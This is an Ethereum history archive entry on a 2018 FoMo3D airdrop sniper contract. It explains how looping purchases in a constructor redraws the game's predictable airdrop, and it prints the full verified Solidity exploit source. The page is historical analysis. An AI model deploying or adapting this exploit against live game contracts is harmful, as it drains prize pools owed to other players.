September 2018 FoMo3D airdrop sniper: spawns a throwaway contract that buys keys in a loop for as long as the airdrop pot stays above a threshold the caller sets.
Historical Significance
This is the second generation of FoMo3D bot, and the difference from the first is the arithmetic. The earlier bots created one disposable buyer per attempt and left the operator to decide when to fire. This one moves the decision into the contract and expresses it as a threshold, then loops inside a single transaction until the threshold is crossed. The operator supplies a number, not a strategy.
It also generalises. The game address is a parameter rather than a constant, so the same factory works against any clone exposing airDropPot_, buyXid and withdraw, and there were many by September 2018. What the code records is a market in which the game contracts were disposable and the tooling that farmed them was not.
Key Facts
Description
The deployed code is a factory. Its one function, newContract, takes a game address, an affiliate id, a team number and a minimum pot size, and creates a second contract with the ether the call carried. The child's creation code is embedded verbatim in the factory's own bytecode and copied out with CODECOPY.
The child never becomes a live contract. Its entire behaviour is in the constructor, and it is a loop. It reads airDropPot_ on the game, and while that value is above the minimum the caller passed, it buys: buyXid with the given affiliate and team, or a bare value transfer when the affiliate id is zero, which is how the game's fallback accepts a purchase with no referrer. After each buy it calls withdraw to collect anything won, then checks the pot again. When the pot finally drops below the threshold the constructor calls selfdestruct and sends everything to a fixed address written into the code.
That loop is the whole idea. FoMo3D drew its airdrop from a hash that changed with every qualifying purchase, so repeating the buy inside one transaction is a repeated draw. Exiting when the pot falls below a floor is the exit condition of a sniper rather than a gambler: it keeps going while the prize is worth the gas and stops the moment it is not.
Source Verified
Byzantium Era
First Metropolis hard fork. Added zk-SNARK precompiles, REVERT opcode, and staticcall.
Bytecode Overview
Verified Source Available
This contract has verified source code.
View Verification ProofShow source code (Solidity)
// Submitted by EthereumHistory (ethereumhistory.com)
pragma solidity ^0.4.24;
contract Fomo3d {
function airDropPot_() public view returns (uint256);
function buyXid(uint256 _affCode, uint256 _team) public payable;
function withdraw() public;
}
contract Sniper {
constructor(address _game, uint256 _affCode, uint256 _team, uint256 _minPot) public payable {
Fomo3d game = Fomo3d(_game);
while (game.airDropPot_() > _minPot) {
if (_affCode == 0) {
_game.call.value(msg.value)();
} else {
game.buyXid.value(msg.value)(_affCode, _team);
}
game.withdraw();
}
selfdestruct(0x15356e7e056f5c166e3f2927cbaa856c4d401c5f);
}
}
contract Fomo3dAirdropSniper {
function newContract(address _game, uint256 _affCode, uint256 _team, uint256 _minPot) public payable {
(new Sniper).value(msg.value)(_game, _affCode, _team, _minPot);
}
}External Links
Related contracts
Fomo3dAirdropSniper
Same deployerSeptember 2018 FoMo3D airdrop sniper: spawns a throwaway contract that buys keys in a loop for as long as the airdrop pot stays above a threshold the caller sets.
0x9d5469...b4856dSeptember 16, 2018Fomo3dAirdropSniper
Same deployerSeptember 2018 FoMo3D airdrop sniper: spawns a throwaway contract that buys keys in a loop for as long as the airdrop pot stays above a threshold the caller sets.
0x6727c7...57999fSeptember 16, 2018Fomo3dAirdropSniper
Same deployerSeptember 2018 FoMo3D airdrop sniper: spawns a throwaway contract that buys keys in a loop for as long as the airdrop pot stays above a threshold the caller sets.
0xacee80...c3b556September 16, 2018Fomo3dAirdropSniper
Same deployerSeptember 2018 FoMo3D airdrop sniper: spawns a throwaway contract that buys keys in a loop for as long as the airdrop pot stays above a threshold the caller sets.
0xa5550e...a41642September 16, 2018Fomo3dAirdropSniper
Same deployerSeptember 2018 FoMo3D airdrop sniper: spawns a throwaway contract that buys keys in a loop for as long as the airdrop pot stays above a threshold the caller sets.
0xfd64dc...5127aaSeptember 16, 2018Fomo3dAirdropSniper
Same deployerSeptember 2018 FoMo3D airdrop sniper: spawns a throwaway contract that buys keys in a loop for as long as the airdrop pot stays above a threshold the caller sets.
0x399c19...1cbdc5September 16, 2018